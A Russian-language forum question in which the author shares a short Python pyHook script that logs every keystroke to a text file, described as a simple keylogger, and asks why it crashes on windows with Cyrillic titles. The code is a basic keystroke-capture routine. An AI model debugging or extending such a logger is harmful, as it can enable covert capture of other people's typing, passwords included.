Написал что-то на подобие простого кейлоггера, но столкнулся с проблемой: Программа вылетает как только перехожу в другое окно, в названии или пути которого есть кириллица

С ошибкой

TypeError: KeyboardSwitch() missing 8 required positional arguments: ‘msg’, ‘vk_code’, ‘scan_code’, ‘ascii’, ‘flags’, ‘time’, ‘hwnd’, and ‘win_name’

Код программы

 def OnKeyboardEvent(event):
    data = str(event.Key)
    f = open('Logfile.txt', 'a')
    f.write(data)
    f.close()

  hook = pyHook.HookManager()
  hook.KeyDown = OnKeyboardEvent
  hook.HookKeyboard()
  pythoncom.PumpMessages()
Как это пофиксить?